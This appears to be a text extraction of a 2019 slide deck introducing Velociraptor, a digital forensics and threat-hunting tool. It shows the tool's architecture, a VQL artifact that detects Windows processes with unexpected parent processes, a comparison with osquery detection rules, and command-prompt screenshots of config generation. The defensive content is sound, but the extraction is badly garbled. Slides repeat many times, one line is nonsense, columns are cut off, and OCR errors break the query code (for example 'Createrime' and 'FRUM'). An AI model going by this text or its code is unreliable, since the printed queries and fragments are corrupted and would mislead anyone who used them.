# Velociraptor

## Dig deeper.

Nick Klein Director, Velocidex Enterprises nick@velocidex.com

Director, Klein & Co. nick@kleinco.com.au

SANS DFIR Certified Instructor

Mike Cohen Director, Velocidex Enterprises mike@velocidex.com



## Who are we?

Dr Michael Cohen (scudette)

- Digital forensic software developer
- Developer of Volatility and Rekall
- Former lead developer of Grr at Google
   Nick Klein
- Director of Klein & Co. DFIR team
- SANS DFIR Certified Instructor







## What's the need?

- Deep visibility of endpoints is a game changer for:
  - digital forensic investigations
  - threat hunting
  - cyber breach response
  - operational security monitoring.
- Few current tools offer network-wide deep forensic analysis
- We're building (and using) Velociraptor to address this



## Technical overview

0

© Velocidex Enterprises 2019 / www.velocidex.com



© Velocidex Enterprises 2019 / www.velocidex.com











© Velocidex Enterprises 2019 / www.velocidex.com





Data store

File store

Velociraptor server

and GUI frontend





© Velocidex Enterprises 2019 / www.velocidex.com





Data store

File store





Velociraptor server and GUI frontend

> La strifteta manuferta parese en 1174.8.1900. Marco 2174.8.1900. Marco 2174.8.1900. Marco 2174.8.1900. Marco 2174.8.1900. Marco 2174.8.1900. Marco 2174.9.1900. Marco 2174.9.1900.

© Velocidex Enterprises 2019 / www.velocidex.com





Velociraptor Windows client

Data store

File store

5

### Encrypted comms

Velociraptor server and GUI frontend

© Velocidex Enterprises 2019 / www.velocidex.com

**Encrypted comms** 



Velociraptor Windows client

Data store

File store

5



Velociraptor Linux client

Velociraptor server and GUI frontend

© Velocidex Enterprises 2019 / www.velocidex.com

**Encrypted comms** 



Velociraptor Windows client

Data store

File store



Velociraptor

Linux client

Velociraptor Mac client

Velociraptor server and GUI frontend

© Velocidex Enterprises 2019 / www.velocidex.com



**Encrypted comms** 



Velociraptor Windows client

Data store



Encrypted comms

·

Velociraptor users connect to GUI frontend



Velociraptor Linux client

Velociraptor Mac client Velociraptor server and GUI frontend



5

© Velocidex Enterprises 2019 / www.velocidex.com

**Encrypted comms** 



Velociraptor Windows client

Data store



**Encrypted comms** 



Velociraptor users connect to GUI frontend



Velociraptor Linux client

Velociraptor Mac client Velociraptor server and GUI frontend



© Velocidex Enterprises 2019 / www.velocidex.com

- A single executable (OS specific) which can be a server or a client
- No libraries, no external dependencies
- Server and client config files are plain text
- No database data stores and file stores are just files on disk
- Velociraptor can process data on the clients and the server
- You can customise many elements:
  - Communication ports
  - Executable names and locations
  - Data locations
  - Service name and descriptions

© Velocidex Enterprises 2019 / www.velocidex.com



## Key principles

- The core feature of Velociraptor is the Velociraptor Query Language (VQL) which is an expressive language providing power and flexibility
- We use VQL to construct Velociraptor artefacts
- Velociraptor artefacts encapsulate DFIR knowledge, so users don't need to be DFIR experts







We have questions to answer e.g. What programs were executed?

> We know where to look e.g. shimcache, prefetch, exe's on disk

> > We use VQL to build Velociraptor artefacts that encapsulate this knowledge

We need these

We use these same artefacts everywhere to collect, analyse and monitor endpoints

-We have

these

Metadata for understanding purpose, functions, resources and contributors Parameters

Queries can be split into subqueries for easy understanding and modification

Queries

#### name: Windows.Attack.ParentProcess

description: |

Maps the Mitre Att&ck framework process executions into artifacts.

#### ### References:

- \* https://www.sans.org/security-resources/posters/hunt-evil/165/download
- \* https://github.com/teoseller/osquery-attck/blob/master/windows-incorrect\_parent\_process.conf

precondition: SELECT OS From info() where OS = 'windows'

#### parameters:

11

12

14

21

26

- name: lookupTable
default: |
 ProcessName,ParentRegex
 smss.exe,System
 runtimebroker.exe,svchost.exe
 taskhostw.exe,svchost.exe
 services.exe,wininit.exe
 lsass.exe,wininit.exe
 svchost.exe,services.exe
 cmd.exe,explorer.exe
 powershell.exe,explorer.exe
 firefox.exe,explorer.exe

#### sources:

- queries:

# Build up some cached gueries for speed – LET lookup <= SELECT \* FROM parse\_csv(filename=lookupTable, accessor='data')</p> - LET processes <= SELECT Name, Pid, Ppid, Commandline, Createrime, Exe FROM pslist() - LET processes lookup <= SELECT Name As ProcessName, Pid As ProcID FROM processes // Resolve the Ppid into a parent name using our processes\_lookup LET resolved\_parent\_name = SELECT \* FROM foreach( row={ SELECT \* FROM processes}, query={ SELECT Name AS ActualProcessName, ProcessName AS ActualParentName, Pid, Ppid, CommandLine, CreateTime, Exe FROM processes\_lookup WHERE ProcID = Ppid LIMIT 1 }) // Get the expected parent name from the table above. SELECT \* FROM foreach( row=resolved\_parent\_name, query={ SELECT ActualProcessName, ActualParentName, Pid, Ppid, CommandLine, CreateTime, Exe, ParentRegex as ExpectedParentName FROM lookup WHERE ActualProcessName =~ ProcessName AND NOT ActualParentName =~ ParentRegex })

### Metadata

### Parameters provide easy customisation of things to look for



name: Windows.Attack.ParentProcess

### name: Windows.Attack.ParentProcess

Parameters 12

Queries

22

24

25

26

40

sources:

– queries:

description:

Maps the Mitre Att&ck framework process executions into artifacts.

lsass.exe,wininit.exe
svchost.exe,services.exe

cmd.exe,explorer.exe

powershell.exe,explorer.exe
iexplore.exe,explorer.exe

firefox.exe.explorer.exe

chrome.exe,explorer.exe

### References:

\* https://www.sans.org/security-resources/posters/hunt-evil/165/download

# Build up some cached gueries for speed

\* https://github.com/teoseller/osquery-attck/blob/master/windows-incorrect\_parent\_process.conf

Queries can be split into subqueries for easy understanding and

modification

- LET lookup <= SELECT \* FROM parse\_csv(filename=lookupTable, accessor='data')</p> - LET processes <= SELECT Name, Pid, Ppid, Commandline, Createrime, Exe FROM pslist() - LET processes lookup <= SELECT Name As ProcessName, Pid As ProcID FROM processes // Resolve the Ppid into a parent name using our processes\_lookup LET resolved parent name = SELECT \* FROM foreach( row={ SELECT \* FROM processes}, query={ SELECT Name AS ActualProcessName, ProcessName AS ActualParentName, Pid, Ppid, CommandLine, CreateTime, Exe FROM processes lookup WHERE ProcID = Ppid LIMIT 1 }) // Get the expected parent name from the table above. SELECT \* FROM foreach( row=resolved\_parent\_name, query={ SELECT ActualProcessName, ActualParentName, Pid, Ppid, CommandLine, CreateTime, Exe, ParentRegex as ExpectedParentName FROM lookup WHERE ActualProcessName =~ ProcessName AND NOT ActualParentName =~ ParentRegex

})

of things to look for



Metadata for understanding purpose, functions, resources and contributors Parameters

Queries can be split into subqueries for easy understanding and modification

Queries

#### name: Windows.Attack.ParentProcess

description: |

Maps the Mitre Att&ck framework process executions into artifacts.

#### ### References:

- \* https://www.sans.org/security-resources/posters/hunt-evil/165/download
- \* https://github.com/teoseller/osquery-attck/blob/master/windows-incorrect\_parent\_process.conf

precondition: SELECT OS From info() where OS = 'windows'

#### parameters:

11

12

14

21

26

- name: lookupTable
default: |
 ProcessName,ParentRegex
 smss.exe,System
 runtimebroker.exe,svchost.exe
 taskhostw.exe,svchost.exe
 services.exe,wininit.exe
 lsass.exe,wininit.exe
 svchost.exe,services.exe
 cmd.exe,explorer.exe
 powershell.exe,explorer.exe
 firefox.exe,explorer.exe

#### sources:

- queries:

# Build up some cached gueries for speed – LET lookup <= SELECT \* FROM parse\_csv(filename=lookupTable, accessor='data')</p> - LET processes <= SELECT Name, Pid, Ppid, Commandline, Createrime, Exe FROM pslist() - LET processes lookup <= SELECT Name As ProcessName, Pid As ProcID FROM processes // Resolve the Ppid into a parent name using our processes\_lookup LET resolved\_parent\_name = SELECT \* FROM foreach( row={ SELECT \* FROM processes}, query={ SELECT Name AS ActualProcessName, ProcessName AS ActualParentName, Pid, Ppid, CommandLine, CreateTime, Exe FROM processes\_lookup WHERE ProcID = Ppid LIMIT 1 }) // Get the expected parent name from the table above. SELECT \* FROM foreach( row=resolved\_parent\_name, query={ SELECT ActualProcessName, ActualParentName, Pid, Ppid, CommandLine, CreateTime, Exe, ParentRegex as ExpectedParentName FROM lookup WHERE ActualProcessName =~ ProcessName AND NOT ActualParentName =~ ParentRegex })

### Metadata

### Parameters provide easy customisation of things to look for



### Metadata for understanding

name: Windows.Attack.ParentProcess

Maps the Mitre Att&ck framework process executions into artifacts.

#### ### References:

- \* https://www.sans.org/security-resources/posters/hunt-evil/165/download
- \* https://github.com/teoseller/osquery-attck/blob/master/windows-incorrect\_parent\_process.conf

Metadata

#### parameters:

- name: lookupTable
 default: |

ProcessName,ParentRegex
smss.exe,System
runtimebroker.exe,svchost.exe
taskhostw.exe,svchost.exe
services.exe,wininit.exe
lsass.exe,wininit.exe
svchost.exe,services.exe
cmd.exe,explorer.exe
powershell.exe,explorer.exe
iexplore.exe,explorer.exe
firefox.exe,explorer.exe
chrome.exe,explorer.exe



Metadata for understanding purpose, functions, resources and contributors Parameters

Queries can be split into subqueries for easy understanding and modification

Queries

#### name: Windows.Attack.ParentProcess

description: |

Maps the Mitre Att&ck framework process executions into artifacts.

#### ### References:

- \* https://www.sans.org/security-resources/posters/hunt-evil/165/download
- \* https://github.com/teoseller/osquery-attck/blob/master/windows-incorrect\_parent\_process.conf

precondition: SELECT OS From info() where OS = 'windows'

#### parameters:

11

12

14

21

26

- name: lookupTable
default: |
 ProcessName,ParentRegex
 smss.exe,System
 runtimebroker.exe,svchost.exe
 taskhostw.exe,svchost.exe
 services.exe,wininit.exe
 lsass.exe,wininit.exe
 svchost.exe,services.exe
 cmd.exe,explorer.exe
 powershell.exe,explorer.exe
 firefox.exe,explorer.exe

#### sources:

- queries:

# Build up some cached gueries for speed – LET lookup <= SELECT \* FROM parse\_csv(filename=lookupTable, accessor='data')</p> - LET processes <= SELECT Name, Pid, Ppid, Commandline, Createrime, Exe FROM pslist() - LET processes lookup <= SELECT Name As ProcessName, Pid As ProcID FROM processes // Resolve the Ppid into a parent name using our processes\_lookup LET resolved\_parent\_name = SELECT \* FROM foreach( row={ SELECT \* FROM processes}, query={ SELECT Name AS ActualProcessName, ProcessName AS ActualParentName, Pid, Ppid, CommandLine, CreateTime, Exe FROM processes\_lookup WHERE ProcID = Ppid LIMIT 1 }) // Get the expected parent name from the table above. SELECT \* FROM foreach( row=resolved\_parent\_name, query={ SELECT ActualProcessName, ActualParentName, Pid, Ppid, CommandLine, CreateTime, Exe, ParentRegex as ExpectedParentName FROM lookup WHERE ActualProcessName =~ ProcessName AND NOT ActualParentName =~ ParentRegex })

### Metadata

### Parameters provide easy customisation of things to look for



```
name: Windows.Attack.ParentP
         sources:
Metad
              – aueries:
under
                # Build up some cached gueries for speed
                – LET lookup <= SELECT * FROM parse_csv(filename=lookupTable, accessor='data')</p>
purpo
                - LET processes <= SELECT Name, Pid, Ppid, CommandLine, Createlime, Exe FRUM pslist()
                - LET processes_lookup <= SELECT Name As ProcessName, Pid As ProcID FROM processes
functi
resour
                  // Resolve the Ppid into a parent name using our processes_lookup
                                                                                                           provide
                  LET resolved_parent_name = SELECT * FROM foreach(
contri
                                                                                                          nisation
                  row={ SELECT * FROM processes},
                  query={
                                                                                                          look for
                    SELECT Name AS ActualProcessName,
                           ProcessName AS ActualParentName,
Queri
                           Pid, Ppid, CommandLine, CreateTime, Exe
                    FROM processes_lookup
split i
                    WHERE ProcID = Ppid LIMIT 1
                  })
querie
under
                                                                                                          ions and
                  // Get the expected parent name from the table above.
modif
                  SELECT * FROM foreach(
                                                                                                          provide
                    row=resolved_parent_name,
                                                                                                          abilities
                    query={
                      SELECT ActualProcessName,
                             ActualParentName,
                             Pid, Ppid, CommandLine, CreateTime, Exe,
                             ParentRegex as ExpectedParentName
                      FROM lookup
                                                                                                                 V
                      WHERE ActualProcessName =~ ProcessName AND NOT ActualParentName =~ ParentRegex
                  })
```

Metadata for understanding purpose, functions, resources and contributors Parameters

Queries can be split into subqueries for easy understanding and modification

Queries

#### name: Windows.Attack.ParentProcess

description: |

Maps the Mitre Att&ck framework process executions into artifacts.

#### ### References:

- \* https://www.sans.org/security-resources/posters/hunt-evil/165/download
- \* https://github.com/teoseller/osquery-attck/blob/master/windows-incorrect\_parent\_process.conf

precondition: SELECT OS From info() where OS = 'windows'

#### parameters:

11

12

14

21

26

- name: lookupTable
default: |
 ProcessName,ParentRegex
 smss.exe,System
 runtimebroker.exe,svchost.exe
 taskhostw.exe,svchost.exe
 services.exe,wininit.exe
 lsass.exe,wininit.exe
 svchost.exe,services.exe
 cmd.exe,explorer.exe
 powershell.exe,explorer.exe
 firefox.exe,explorer.exe

#### sources:

- queries:

# Build up some cached gueries for speed – LET lookup <= SELECT \* FROM parse\_csv(filename=lookupTable, accessor='data')</p> - LET processes <= SELECT Name, Pid, Ppid, Commandline, Createrime, Exe FROM pslist() - LET processes lookup <= SELECT Name As ProcessName, Pid As ProcID FROM processes // Resolve the Ppid into a parent name using our processes\_lookup LET resolved\_parent\_name = SELECT \* FROM foreach( row={ SELECT \* FROM processes}, query={ SELECT Name AS ActualProcessName, ProcessName AS ActualParentName, Pid, Ppid, CommandLine, CreateTime, Exe FROM processes\_lookup WHERE ProcID = Ppid LIMIT 1 }) // Get the expected parent name from the table above. SELECT \* FROM foreach( row=resolved\_parent\_name, query={ SELECT ActualProcessName, ActualParentName, Pid, Ppid, CommandLine, CreateTime, Exe, ParentRegex as ExpectedParentName FROM lookup WHERE ActualProcessName =~ ProcessName AND NOT ActualParentName =~ ParentRegex })

### Metadata

### Parameters provide easy customisation of things to look for



#### "platform": "windows",

"description": "ATT&CK: T1173,T1086,T1204,T1183", "queries": {

name='wininit.exe') AND LOWER(name)='services.exe') OR pid=(SELECT pid FROM processes WHERE parent!=(SELECT pid from processes where name='wininit.exe') AND LOWER(name)='services.exe');", torusolut.fon

"interval": 60,

"description": "Detect processes masquerading as legitimate Windows processes – ATT&CK T1204",

"removed": false
},

"lsass.exe\_incorrect\_parent\_process": {

"query": "SELECT name as bad\_parent\_child\_name, pid bad\_parent\_child\_pid FROM processes WHERE pid=(SELECT parent FROM processes WHERE parent!=(SELECT pid from processes where name='wininit.exe') AND LOWER(name)='lsass.exe') OR pid=(SELECT pid FROM processes WHERE parent!=(SELECT pid from processes where name='wininit.exe') AND LOWER(name)='lsass.exe');",

"interval": 60,

"description": "Detect processes masquerading as legitimate Windows processes - ATT&CK T1204",

"removed": false

},
"svchost.exe\_incorrect\_parent\_process": {

```
"query": "SELECT name as bad_parent_child_name, pid
```

bad\_parent\_child\_pid FROM processes WHERE pid=(SELECT parent FROM processes WHERE parent!=(SELECT pid from processes where name='services.exe') AND LOWER(name)='svchost.exe') OR pid=(SELECT pid FROM processes WHERE parent!=(SELECT pid from processes where name='services.exe') AND LOWER(name)='svchost.exe');",

"interval": 60,

"description": "Detect processes masquerading as legitimate Windows processes - ATT&CK T1204",

"removed": false

},
"cmd.exe incorrect parent process": {

"query": "SELECT name as bad\_parent\_child\_name, pid bad\_parent\_child\_pid FROM processes WHERE pid=(SELECT parent FROM processes WHERE parent!=(SELECT pid from processes where name='explorer.exe') AND LOWER(name)='cmd.exe') OR pid=(SELECT pid FROM processes WHERE parent!=(SELECT pid from processes where name='explorer.exe') AND LOWER(name)='cmd.exe');",

"interval": 60,

"description": "Detect processes masquerading as legitimate Windows processes - ATT&CK T1173,T1204",

#### "removed": false },

"powershell.exe\_incorrect\_parent\_process": {

"query": "SELECT name as bad\_parent\_child\_name, pid bad\_parent\_child\_pid FROM processes WHERE pid=(SELECT parent FROM processes WHERE parent!=(SELECT pid from processes where name='explorer.exe') AND LOWER(name)='powershell.exe') OR pid=(SELECT pid FROM processes WHERE parent!=(SELECT pid from processes where name='explorer.exe') AND LOWER( name)='powershell.exe');",

#### "interval": 60,

"description": "Detect processes masquerading as legitimate Windows processes - ATT&CK T1173,T1086,T1204",

Comparison between osquery and VQL for checking child-parent process relationships.

... this goes for a while

name: Windows.Attack.ParentProcess description: |

Maps the Mitre Att&ck framework process executions into artifacts.

#### ### References:

- \* https://www.sans.org/security-resources/posters/hunt-evil/165/download
- \* https://github.com/teoseller/osquery-attck/blob/master/ windows-incorrect\_parent\_process.conf

precondition: SELECT OS From info() where OS = 'windows'

#### parameters:

- name: lookupTable default: | ProcessName,ParentRegex smss.exe,System runtimebroker.exe,svchost.exe taskhostw.exe,svchost.exe services.exe,wininit.exe lsass.exe,wininit.exe svchost.exe,services.exe cmd.exe,explorer.exe powershell.exe,explorer.exe iexplore.exe,explorer.exe firefox.exe,explorer.exe chrome.exe,explorer.exe

#### sources:

- queries:

- # Build up some cached queries for speed.
- LET lookup <= SELECT \* FROM parse\_csv(filename=lookupTable, accessor='data')

- LET processes <= SELECT Name, Pid, Ppid, CommandLine, CreateTime, Exe FROM pslist()

- LET processes\_lookup <= SELECT Name As ProcessName, Pid As ProcID FROM processes

- |

// Resolve the Ppid into a parent name using our processes\_lookup LET resolved\_parent\_name = SELECT \* FROM foreach( row={ SELECT \* FROM processes}, query={ SELECT Name AS ActualProcessName, ProcessName AS ActualParentName, Pid, Ppid, CommandLine, CreateTime, Exe

FROM processes\_lookup
WHERE ProcID = Ppid LIMIT 1
})

// Get the expected parent name from the table above. SELECT \* FROM foreach( row=resolved\_parent\_name, query={ SELECT ActualProcessName, ActualParentName, Pid, Ppid, CommandLine, CreateTime, Exe, ParentRegex as ExpectedParentName FROM lookup WHERE ActualProcessName =~ ProcessName AND NOT ActualParentName =~ ParentRegex }) "platform": "windows",

"description": "ATT&CK: T1173,T1086,T1204,T1183", 'aueries": { "services.exe\_incorrect\_parent\_process": {

"guery": "SELECT name as bad parent child name, pid bad\_parent\_child\_pid FROM processes WHERE pid=(SELECT parent FROM processes WHERE parent!=(SELECT pid from processes where name='wininit.exe') AND LOWER(name)='services.exe') OR pid=(SELECT pid FROM processes WHERE parent!=(SELECT pid from processes where name='wininit.exe') AND LOWER(name)='services.exe');". "interval": 60, "description": "Detect processes masquerading as legitimate Windows processes - ATT&CK T1204", "removed": false },

"lsass.exe\_incorrect\_parent\_process": {

"guery": "SELECT name as bad parent child name, pid bad\_parent\_child\_pid FROM processes WHERE pid=(SELECT parent FROM processes WHERE parent!=(SELECT pid from processes where name='wininit.exe') AND LOWER(name)='lsass.exe') OR pid=(SELECT pid FROM processes WHERE parent!=(SELECT pid from processes where name='wininit.exe') AND LOWER(name)='lsass.exe');",

"interval": 60,

"description": "Detect processes masquerading as legitimate Windows processes - ATT&CK T1204",

"removed": false },

"svchost.exe\_incorrect\_parent\_process": {

```
"query": "SELECT name as bad_parent_child_name, pid
   bad_parent_child_pid FROM processes WHERE pid=(SELECT parent FROM
```

processes WHERE parent!=(SELECT pid from processes where name='services.exe') AND LOWER(name)='svchost.exe') OR pid=(SELECT pid FROM processes WHERE parent!=(SELECT pid from processes where name='services.exe') AND LOWER(name)='svchost.exe');".

"interval": 60,

"description": "Detect processes masquerading as legitimate Windows processes - ATT&CK T1204",

"removed": false },

"cmd.exe incorrect parent process": {

"query": "SELECT name as bad\_parent\_child\_name, pid bad\_parent\_child\_pid FROM processes WHERE pid=(SELECT parent FROM processes WHERE parent!=(SELECT pid from processes where name='explorer.exe') AND LOWER(name)='cmd.exe') OR pid=(SELECT pid FROM processes WHERE parent!=(SELECT pid from processes where name='explorer.exe') AND LOWER(name)='cmd.exe');",

"interval": 60,

"description": "Detect processes masquerading as legitimate Windows processes - ATT&CK T1173,T1204", "removed": false

}.

"powershell.exe incorrect parent process": {

"query": "SELECT name as bad\_parent\_child\_name, pid bad parent child pid FROM processes WHERE pid=(SELECT parent FROM processes WHERE parent!=(SELECT pid from processes where name='explorer.exe') AND LOWER(name)='powershell.exe') OR pid=(SELECT pid FROM processes WHERE parent!=(SELECT pid from processes where name='explorer.exe') AND LOWER( name)='powershell.exe');",

"interval": 60,

"description": "Detect processes masquerading as legitimate Windows processes - ATT&CK T1173, T1086, T1204",

name: Windows.Attack.ParentProcess description: | Maps the Mitre Att&ck framework process executions into artifacts.

#### parameters:

Compariso

osquery ai

betweer

VQL for

checking

child-parent

process

relationships.

... this goes for a while

– name: lookupTable default: ProcessName, ParentRegex smss.exe,System runtimebroker.exe, svchost.exe taskhostw.exe,svchost.exe services.exe,wininit.exe lsass.exe,wininit.exe svchost.exe,services.exe cmd.exe,explorer.exe powershell.exe,explorer.exe iexplore.exe,explorer.exe firefox.exe,explorer.exe chrome.exe,explorer.exe

upTable,

l/165/download

, CreateTime, Exe

LET processes\_tookup <= SELECT Name AS ProcessName, Pid As ProcID FROM processes

// Resolve the Ppid into a parent name using our processes\_lookup LET resolved\_parent\_name = SELECT \* FROM foreach( row={ SELECT \* FROM processes}, query={ SELECT Name AS ActualProcessName, ProcessName AS ActualParentName, Pid, Ppid, CommandLine, CreateTime, Exe FROM processes\_lookup WHERE ProcID = Ppid LIMIT 1 }) // Get the expected parent name from the table above. SELECT \* FROM foreach( row=resolved parent name, query={ SELECT ActualProcessName, ActualParentName, Pid, Ppid, CommandLine, CreateTime, Exe,

ParentRegex as ExpectedParentName

FROM lookup

WHERE ActualProcessName =~ ProcessName AND NOT ActualParentName =~ ParentRegex

})



2019-07-25 22:22:57 UT(

1	/elociraptor   View Artifacts × +	$ \square$ $\times$
~	C A Not secure   https://localhost:8889/app.html#/view_artifacts	☆ 😩 :
=	Search Box Q Velocidex-01  Connected	0 nick
*	+ 🖋 🏛	
•		
	triage	Windowa Triago Collectora Eventlago
	Server.Analysis.Triage.PowershellConsole	windows.mage.collectors.eveniLogs
۲	Triage.Collection.Upload	Type: client
	Triage.Collection.UploadTable	Collect event log files.

### Type,Accessor,Glob EventLogs,ntfs,C:\Windows\system32\winevt\logs\\*.evtx EventLogs,ntfs,C:\Windows\system32\config\\*.evt

ndows.Triage.Collectors.Firefox
Nindows.Triage.Collectors.InternetExplorer
Windows.Triage.Collectors.Jabber
Windows.Triage.Collectors.LnkFiles
Windows.Triage.Collectors.NTFSMetadata
Windows.Triage.Collectors.OutlookPST
Windows.Triage.Collectors.PowershellConsoleLogs
Windows.Triage.Collectors.RecycleBin
Windows.Triage.Collectors.RegistryHives



© Velocidex Enterprises 2019 / www.velocidex.com



Administrator: Command Prompt

C:\Program Files\Velociraptor≻velociraptor-v0.3.1-windows-4.0-amd64.exe config generate -i

\_\_\_\_

 $\times$ 

Administrator: Command Prompt

C:\Program Files\Velociraptor>velociraptor-v0.3.1-windows-4.0-amd64.exe config generate -i

### -Start the config generator

\_

 $\times$ 

V

Administrator: Command Prompt

### >velociraptor-v0.3.1-windows-4.0-amd64.exe config generate -i Config generator

Administrator: Command Prompt

C:\Program Files\Velociraptor<mark>>velociraptor-v0.3.1-windows-4.0-amd64.exe config generate -i</mark>

Welcome to the Velociraptor configuration generator

I will be creating a new deployment configuration for you. I will begin by identifying what type of deployment you need.

#### Self Signed SS

Generating keys please wait....
? Enter the frontend port to listen on. 8000
? What is the public DNS name of the Frontend (e.g. www.example.com): localhost
? Path to the datastore directory. C:\Users\Nick\AppData\Local\Temp
? Path to the logs directory. C:\Users\Nick\AppData\Local\Temp
? Where should i write the server config file? server.config.yaml
? Where should i write the client config file? client.config.yaml
? GUI Username or email address to authorize (empty to end): nick
? GUI Username or email address to authorize (empty to end):

### Start the config generator

Administrator: Command Prompt

C:\Program Files\Velociraptor>velociraptor-v0.3.1-windows-4.0-amd64.exe config generate -i

Welcome to the Velociraptor configuration generator

I will be creating a new deployment configuration for you. I will begin by identifying what type of deployment you need.

#### Self Signed SS

Senerating keys please wait.... P Enter the frontend port to listen on. 8000 P What is the public DNS name of the Frontend (e.g. www.example.com): localhost P Path to the datastore directory. C:\Users\Nick\AppData\Local\Temp P Path to the logs directory. C:\Users\Nick\AppData\Local\Temp P Where should i write the server config file? server.config.yaml P Where should i write the client config file? client.config.yaml P GUI Username or email address to authorize (empty to end): nick P GUI Username or email address to authorize (empty to end):

### Start the config generator

### Answer the questions



Administrator: Command Prompt

C:\Program Files\Velociraptor>velociraptor-v0.3.1-windows-4.0-amd64.exe config generate -i

Welcome to the Velociraptor configuration generator

I will be creating a new deployment configuration for you. I will begin by identifying what type of deployment you need.

#### Self Signed SSU

Senerating keys please wait.... P Enter the frontend port to listen on. 8000 P What is the public DNS name of the Frontend (e.g. www.example.com): localhost P Path to the datastore directory. C:\Users\Nick\AppData\Local\Temp P Path to the logs directory. C:\Users\Nick\AppData\Local\Temp P Where should i write the server config file? server.config.yaml P Where should i write the client config file? client.config.yaml P GUI Username or email address to authorize (empty to end): nick P GUI Username or email address to authorize (empty to end):

C:\Program Files\Velociraptor≻dir Volume in drive C has no label. Volume Serial Number is 0CF9-8FE5

Directory of C:\Program Files\Velociraptor

07/23/2019 09:09 AM <DIR> . 07/23/2019 09:09 AM <DIR> . 07/23/2019 09:09 AM <DIR> . 07/23/2019 09:09 AM 1,959 client.config.yaml 07/23/2019 09:09 AM 10,337 server.config.yaml 07/15/2019 12:00 AM 32,105,280 velociraptor-v0.3.1-windows-4.0-amd64.exe 3 File(s) 32,117,576 bytes 2 Dir(s) 84,104,568,832 bytes free

C:\Program Files\Velociraptor>

### Start the config generator

### Answer the questions



Administrator: Command Prompt

C:\Program Files\Velociraptor≻velociraptor-v0.3.1-windows-4.0-amd64.exe config generate -i

Welcome to the Velociraptor configuration generator

I will be creating a new deployment configuration for you. I will begin by identifying what type of deployment you need.

#### Self Signed SSU

Generating keys please wait.... P Enter the frontend port to listen on. 8000 P What is the public DNS name of the Frontend (e.g. www.example.com): localhost P Path to the datastore directory. C:\Users\Nick\AppData\Local\Temp P Path to the logs directory. C:\Users\Nick\AppData\Local\Temp P Where should i write the server config file? server.config.yaml P Where should i write the client config file? client.config.yaml P GUI Username or email address to authorize (empty to end): nick P GUI Username or email address to authorize (empty to end):

C:\Program Files\Velociraptor>dir Volume in drive C has no label. Volume Serial Number is 0CF9-8FE5

Directory of C:\Program Files\Velociraptor

07/23/2019 09:09 AM <DIR> 07/23/2019 09:09 AM <DIR> 07/23/2019 09:09 AM 1,959 client.config.yaml 07/23/2019 09:09 AM 10,337 server.config.yaml 07/15/2019 12:00 AM 32,105,280 velociraptor-v0.3.1-windows-4.0-amd64.exe 3 File(s) 32,117,576 bytes 2 Dir(s) 84,104,568,832 bytes free

C:\Program Files\Velociraptor>

### Start the config generator

### Answer the questions

### Server and client config files are created


🔤 Administrator: Command Prompt

:\Program Files\Velociraptor>velociraptor-v0.3.1-windows-4.0-amd64.exe config generate -i

Welcome to the Velociraptor configuration generator

I will be creating a new deployment configuration for you. I will begin by identifying what type of deployment you need.

#### Self Signed SSU

Generating keys please wait.... P Enter the frontend port to listen on. 8000 P What is the public DNS name of the Frontend (e.g. www.example.com): localhost P Path to the datastore directory. C:\Users\Nick\AppData\Local\Temp P Path to the logs directory. C:\Users\Nick\AppData\Local\Temp P Where should i write the server config file? server.config.yaml P Where should i write the client config file? client.config.yaml P GUI Username or email address to authorize (empty to end): nick P GUI Username or email address to authorize (empty to end):

C:\Program Files\Velociraptor>dir Volume in drive C has no label. Volume Serial Number is 0CF9-8FE5

Directory of C:\Program Files\Velociraptor

07/23/2019 09:09 AM <C 07/23/2019 09:09 AM <C 07/23/2019 09:09 AM <C 07/23/2019 09:09 AM 07/23/2019 09:09 AM 07/15/2019 12:00 AM 3 File(s) 2 Dir(s) 8 4.exe

C:\Program Files\Velociraptor>

## Start the config generator

## Answer the questions

## Server and client config files are created



Administrator: Command Prompt

C:\Program Files\Velociraptor≻velociraptor-v0.3.1-windows-4.0-amd64.exe config generate -i

Welcome to the Velociraptor configuration generator

I will be creating a new deployment configuration for you. I will begin by identifying what type of deployment you need.

#### Self Signed SSL

Generating keys please wait.... P Enter the frontend port to listen on. 8000 P What is the public DNS name of the Frontend (e.g. www.example.com): localhost P Path to the datastore directory. C:\Users\Nick\AppData\Local\Temp P Path to the logs directory. C:\Users\Nick\AppData\Local\Temp P Where should i write the server config file? server.config.yaml P Where should i write the client config file? client.config.yaml P GUI Username or email address to authorize (empty to end): nick P GUI Username or email address to authorize (empty to end):

C:\Program Files\Velociraptor>dir Volume in drive C has no label. Volume Serial Number is 0CF9-8FE5

Directory of C:\Program Files\Velociraptor

07/23/2019 09:09 AM <DIR> 07/23/2019 09:09 AM <DIR> 07/23/2019 09:09 AM 1,959 client.config.yaml 07/23/2019 09:09 AM 10,337 server.config.yaml 07/15/2019 12:00 AM 32,105,280 velociraptor-v0.3.1-windows-4.0-amd64.exe 3 File(s) 32,117,576 bytes 2 Dir(s) 84,104,568,832 bytes free

C:\Program Files\Velociraptor>

## Start the config generator

## Answer the questions

## Server and client config files are created



Administrator: Command Prompt

C:\Program Files\Velociraptor≻velociraptor-v0.3.1-windows-4.0-amd64

Welcome to the Velociraptor configuration generator

I will be creating a new deployment configuration for you. I will begin by identifying what type of deployment you need.

#### Self Signed SSL

Generating keys please wait.... 2 Enter the frontend port to listen on. 8000 2 What is the public DNS name of the Frontend (e.g. www.example.com 2 Path to the datastore directory. C:\Users\Nick\AppData\Local\Temp 2 Path to the logs directory. C:\Users\Nick\AppData\Local\Temp 2 Where should i write the server config file? server.config.yaml 2 Where should i write the client config file? client.config.yaml 2 GUI Username or email address to authorize (empty to end): nick 3 GUI Username or email address to authorize (empty to end):

C:\Program Files\Velociraptor≻dir Volume in drive C has no label. Volume Serial Number is 0CF9-8FE5

Directory of C:\Program Files\Velociraptor

07/23/2019 09:09 AM <DIR> . 07/23/2019 09:09 AM <DIR> . 07/23/2019 09:09 AM <DIR> . 07/23/2019 09:09 AM 1,959 client.config.yaml 07/23/2019 09:09 AM 10,337 server.config.yaml 07/15/2019 12:00 AM 32,105,280 velociraptor-v0.3.1-windows 3 File(s) 32,117,576 bytes 2 Dir(s) 84,104,568,832 bytes free

C:\Program Files\Velociraptor>

🚾 Administrator: Command Prompt - velociraptor-v0.3.1-windows-4.0-amd64.exe --config server.config.yaml frontend -v

C:\Program Files\Velociraptor>velociraptor-v0.3.1-windows-4.0-amd64.exe --config server.config.yaml frontend -v

 $\times$ 

Administrator: Command Prompt - velociraptor-v0.3.1-windows-4.0-amd64.exe --config server.config.yaml frontend -v

C:\Program Files\Velociraptor<mark>>velociraptor-v0.3.1-windows-4.0-amd64.exe --config server.config.yaml frontend -v</mark>

### Start the server

🔤 Administrator: Command Prompt

